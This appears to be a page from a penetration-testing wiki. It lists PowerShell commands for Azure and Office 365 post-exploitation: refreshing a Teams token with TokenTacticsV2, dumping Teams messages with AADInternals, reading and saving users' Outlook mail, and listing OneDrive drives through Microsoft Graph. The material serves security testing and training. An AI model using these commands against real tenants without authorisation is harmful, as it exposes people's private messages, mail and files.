InternalAllTheThings/docs/cloud/azure/azure-services-office-365.md

Azure Services - Office 365

Microsoft Teams Messages

TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local
AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName

Outlook Mails

• Read user mails

  Get-MgUserMessage -UserId <user-id> | ft
  Get-MgUserMessageContent -OutFile mail.txt -UserId <user-id> -MessageId <message-id>
  

OneDrive Files

$userId = "<user-id>"
Import-Module Microsoft.Graph.Files
Get-MgUserDefaultDrive -UserId $userId
Get-MgUserDrive -UserId $UserId  -Debug
Get-MgDrive -top 1

References

• Pentesting Azure Mindmap - Alexis Danizan
• Training - Attacking and Defending Azure Lab - Altered Security